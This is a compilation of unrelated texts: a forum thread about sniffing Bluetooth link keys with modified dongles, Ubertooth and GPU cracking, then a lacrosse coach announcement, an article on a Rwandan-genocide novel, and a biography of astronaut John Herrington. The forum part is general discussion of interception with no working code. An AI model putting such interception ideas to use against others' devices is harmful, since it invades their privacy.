I love it when people drag up these posts from 2008 I think what 2901119 means is there a better way to sniff the link keys between two devices. Back in 2008 a few of us modded a Bluetooth dongle to sniff bluetooth traffic. Unfortunately because of the channel hopping that bluetooth connections use one of the biggest challenges was to calculate the hopping sequence. Work was done but never got off the ground and peops lost interest until last year. I was thinking about resurrecting this project as what stood then pretty much is the same now. Then I was pointed in the direction of Ubertooth :d
It's all a bit quiet on that scene atm. I think they more people to jump on board to really give that project a kick up the backside lol but I fear people are just not willing to roll there own hardware ? I for one am very interested and might be looking at ubertooth for a little summer project . Maybe link key cracking on GPGPU's ? I did read somewhere that link key cracking doesn't scale well on GPGPU's but I think that's a load of bull&*%^ I may be wrong but there's where I stand on that for now.
I think bluetooth has gone TOO many years being untouched down to people just not being interested. And thats a shame because most people have a bluetooth enabled device on them 24/7 so this could be very interesting stuff
I agree, too little focus on an interesting side of information.
But I think that 2901119 was meaning is what cgelici put up; a means to enable
pairing with a bluetooth device within backtrack.
As it stands, what is available on BT4 is not best suited for that and additional
scripts are needed.
Ubertooth does look promising and looking forward to where that leads in the near future.
Lack of this script is not a Back|Track issue, it's a bluez issue, they stopped providing it. Don't ask me why... I found this script on ronnieflip's www.blindsecurity.org
Or if your using the GUI just use gnomes bluetooth app it works on kde and gnome.
Code:apt-get update;apt-get install gnome-bluetooth
hey guys, thanks for the replies. Sorry I was so vague, but I asked it that way because it was more of a general question. I wasn't looking for one certain way around it, but more or less any way around it. All of your replies were actually helpful/relevant.
@drgr33n excellent mention of ubertooth, I've actually watched a couple of videos on it, way cool device. I'm gonna also give gnome-bluetooth a go too. Good lookin out.
@cgelici... thanks for sharing the script, I've used simple-agent before but I'm gonna give this a try and see how it differs.
As you guys have said "too little focus on an interesting side of information." Thats soo true, and partially why I drug up such an old thread. I'm glad some people are still interested though.


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WASHINGTON, Pa. — Washington & Jefferson College Director of Athletics Bill Dukett announced Daniel Usaj as the Presidents' head men's lacrosse coach on Monday.
Usaj most recently served as the head club coach at Ferris State University (Mich.) and currently is working as the director of True Lacrosse where he creates travel team programs, developmental leagues, clinics, camps and tournaments for western Pennsylvania lacrosse players.
A graduate of Sewickley Academy and St. Lawrence University (N.Y.), Usaj started coaching at the collegiate level at the University of Southern California in 2006. He helped start the club program, spending two seasons as head coach. During the summer of 2007, Usaj coached Team USA (U-19 Team) in Tokyo, Japan, in the International Friendly Games and led the team to a second-place finish.
"Dan brings a wealth of experience and we are looking forward to having him as our new head coach," said Dukett. "He has coached collegiate, scholastic and youth lacrosse, has a great deal of on the field knowledge and has the necessary contacts to recruit locally and nationally to help build our lacrosse program."
Usaj also served as the head coach at Harvard-Westlake High School (Calif.) from 2003-2006. After his experience at USC, Usaj spent one season as the assistant coach at Davenport (Mich.), a member of the Men's Collegiate Lacrosse Association (MCLA).
After graduating from St. Lawrence University in 2002 with a degree in performance and communication arts, Usaj was the associate head coach at Chagrin Falls High School (Ohio) and helped the program win a state championship in just its fourth season of existence.


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Twenty years ago, the world looked on in horror at the slaughter of families, neighbours and friends in the Rwandan genocide between the Tutsi and Hutu tribes, which lasted from April to July 1994.
The country and its people are still in the process of recovery and the story is now one of reconciliation and forgiveness, although they will never forget.
Mill Hill freelance writer, journalist and playwright Jemma Wayne felt a deep connection to the genocide through her Jewish roots and links to the Holocaust, and attended a fund-raising talk held by Rwandan Genocide survival support charity, Survivors Fund (SURF), to learn more.
"I was struck most by the overwhelming sense of betrayal and disbelief which still lingered," she says. "In a community that had once been so integrated, neighbour betrayed neighbour and friend betrayed friend. That was the beginning for me, this notion of betrayal and it was there I started thinking about other forms of betrayal.
"I always hear the echo that the world promised never again, yet you see it happening again and again."
The passion she expressly felt for the genocide and its survivors resulted in her first novel, After Before.
The book follows the lives of three women in London who are each struggling with their own sense of betrayal despite having completely different pasts.
Emily is a survivor of the Rwandan genocide; Lynn a terminally ill woman in her 60s who is made to take stock and reflect on her life and how her sacrifices have shaped her life; and Vera is a newly engaged young woman struggling to reconcile and come to terms with her own troubled past.
As the three protagonists' lives interject, they are each forced to face their dark pasts and battle their demons in order to move on with their lives.
Ultimately the novel is an exploration of identity and modern womanhood, and carrying the shadows of the pasts with you. In the novel, the characters attempt to reconcile their own demons with or without their faith, and Jemma wanted to capture each of the characters at a point of crisis in their lives.
"I think a lot of people either turn towards or away from religion," she says, "and I wanted that aspect reflected in the characters." Jemma, whose first play Negative Space was staged at Hampstead's New End Theatre, compiled her research from the testimoniess of Rwandan survivors, papers from the United Nations War Crimes tribunal and historical books. These methods allowed her to gain a true feel for the harrowing events of that time.
Through intertwining the stories of modern women and their own battles with betrayal, the result is a story which Jemma hopes many women will find resonates in some way with their own everyday lives.
"As a writer, ultimately you want to touch and speak to all of your readers, and I hope this story does," she says.
- After Before is available now from Legend Press. Details: legend-paperbooks.co.uk


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John Herrington
Photo courtesy of National Aeronautics and Space Administration, nasa.gov (accessed January 16, 2013).
Date of Birth: September 14, 1958
Oklahoma Connection: Born in Wetumka, Oklahoma
Missions: Endeavour STS-113
John Herrington is a Chickasaw Indian and was the first American Indian to go to space. He earned a B.S. from the University of Colorado. He joined the Navy and learned to fly airplanes. He then earned his M.S. degree from the US Navy Postgraduate School. Herrington flew in the shuttle Endeavor to the International Space Station as a mission specialist where he installed new parts on the space station. He spent 330 hours and forty-seven minutes in space.
Newspaper clipping from The Daily Oklahoman, date unknown (1980.011, Jerry Elliott Collection, Oklahoma Historical Society Research Division).
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